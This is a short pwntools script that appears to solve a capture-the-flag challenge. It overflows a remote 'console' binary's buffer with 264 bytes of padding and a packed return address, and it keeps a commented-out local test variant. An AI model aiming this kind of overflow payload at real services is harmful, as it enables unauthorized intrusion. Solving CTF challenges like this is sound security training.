from pwn import *
import struct
'''
conn = process('./console')
#conn = process("qemu-mipsel-static -strace ./bof")
print conn.recvuntil(">>")
conn.sendline("run")
print conn.recvuntil(">>")

padding = 'a' * 265
payload = struct.pack("I", 0x7fffe008)
conn.sendline(padding + payload)

print conn.recvuntil(">>")
conn.sendline("quit")
print conn.recvall();
'''

conn = remote('buffer-overflow.ctfcompetition.com', 1337)
print conn.recvuntil(">>")
conn.sendline("run")
print conn.recvuntil("run")


padding = 'a' * 264
payload = struct.pack("I", 0x7fffee00)
conn.sendline(padding + payload)

print conn.recvuntil(">>")
conn.sendline("quit")
print conn.recvall();
